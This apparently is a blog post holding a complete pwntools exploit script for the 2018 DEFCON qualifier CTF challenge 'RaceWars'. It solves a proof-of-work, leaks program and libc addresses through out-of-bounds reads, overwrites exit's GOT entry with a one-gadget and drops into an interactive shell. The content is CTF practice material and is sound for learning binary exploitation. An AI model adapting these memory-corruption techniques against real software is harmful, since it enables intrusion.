2018 DEFCON_qual RaceWars
by St1tch from pwn import * #import stitch def logdebug() : exec( "context.log_level = 'debug'" ) def loginfo() : exec( "context.log_level = 'info'" ) def logerror() : exec( "context.log_level = 'error'" ) p64 = lambda *x : flat(*x, word_size=64) p32 = lambda *x : flat(*x, word_size=32) pad64 = 0xffffffffffffffff pad32 = 0xffffffff pause = lambda x='' : raw_input(log.info('Paused {}'.format(x))) execmd = lambda cmd : subprocess.check_output(cmd, shell=True) conv = lambda n : hex(n & int('f'*16, 16)) def pow_hash(challenge, solution): return hashlib.sha256(challenge.encode('ascii') + struct.pack('<Q', solution)).hexdigest() def check_pow(challenge, n, solution): h = pow_hash(challenge, solution) return (int(h, 16) % (2**n)) == 0 def solve_pow(challenge, n): candidate = 0 while True: if check_pow(challenge, n, candidate): return candidate candidate += 1 def snd(pay): s.sendline(str(pay)) sleep(0.3) def fuck(target): target = p64(target) target = [target[i:i+2] for i in range(0, len(target), 2)] for i, order in enumerate([0, 1, 3, 2]): snd(1) snd(i+1) snd(int(target[order][::-1].encode('hex'), 16)) def fuck2(): p = log.progress('start...') res = '' for idx in range(24, 24+8): snd(4) snd(idx) snd(0) snd(0) tmp = re.findall('is [0-9]{1,3}', s.recv())[0].split()[-1] res = hex(eval(tmp))[2:].rjust(2, '0')+ res p.status('1 '+res) gear = int(res, 16) - 16 log.info(hex(gear)) res = '' dist = elf.got['setvbuf'] - gear sleep(1) s.clean() for idx in range(dist, dist+8): snd(4) snd(idx) snd(0) snd(0) tmp = re.findall('is [0-9]{1,3}', s.recv())[0].split()[-1] res = hex(eval(tmp))[2:].rjust(2, '0') + res p.status('2 '+res) libc.address = int(res, 16)-libc.symbols['setvbuf'] log.info(hex(libc.address)) target = p64(libc.address+oneshot) sleep(1) s.clean() dist = elf.got['exit'] - gear idx=0 for offset in range(dist, dist+8): snd(4) snd(offset) snd(int(target[idx].encode('hex'), 16)) snd(1) idx += 1 p.status('3 '+str(idx)+' overwrite') p.success() def solver() : #tire snd(1) snd((2<<31)>>5) #transmission snd(4) snd(1) #chassis snd(2) snd(1) #engine snd(3) #overwrite size fuck(int('f'*16, 16)) s.clean() #libcleak fuck2() s.clean() snd(5) snd(1) snd(0) s.interactive() if __name__ == '__main__' : prob = 'racewars' if len(sys.argv) == 1: s = process(prob) pid = util.proc.pidof(s)[0] p_base = [s.libs()[d] for d in s.libs() if prob in d][0] l_base = [s.libs()[d] for d in s.libs() if 'libc' in d][0] log.info('pid = {}'.format(pid)) log.info('proc_base = {}'.format(hex(p_base))) log.info('libc_base = {}'.format(hex(l_base))) libc = ELF(s.libs().keys()[0]) oneshot = 0x4f322 debug=False if debug: context.terminal = ['tmux', 'splitw', '-h'] execute = ''' b *{} c '''.format(p_base) gdb.attach(pid, execute) else: #source gd open('gd', 'w').write(''' d d display b*0x4015C4 attach {} c '''.format(pid)) else : s = remote("2f76febe.quals2018.oooverflow.io", 31337) libc = ELF('libc-2.23.so') oneshot = 0xf02a4 chal, _, n = s.recvuntil('Solution').split()[3:6] print chal, n res = solve_pow(chal, int(n)) s.sendline(str(res)) elf = ELF(prob) pause() solver()
블로그의 정보
튜기's blogg(st1tch)
St1tch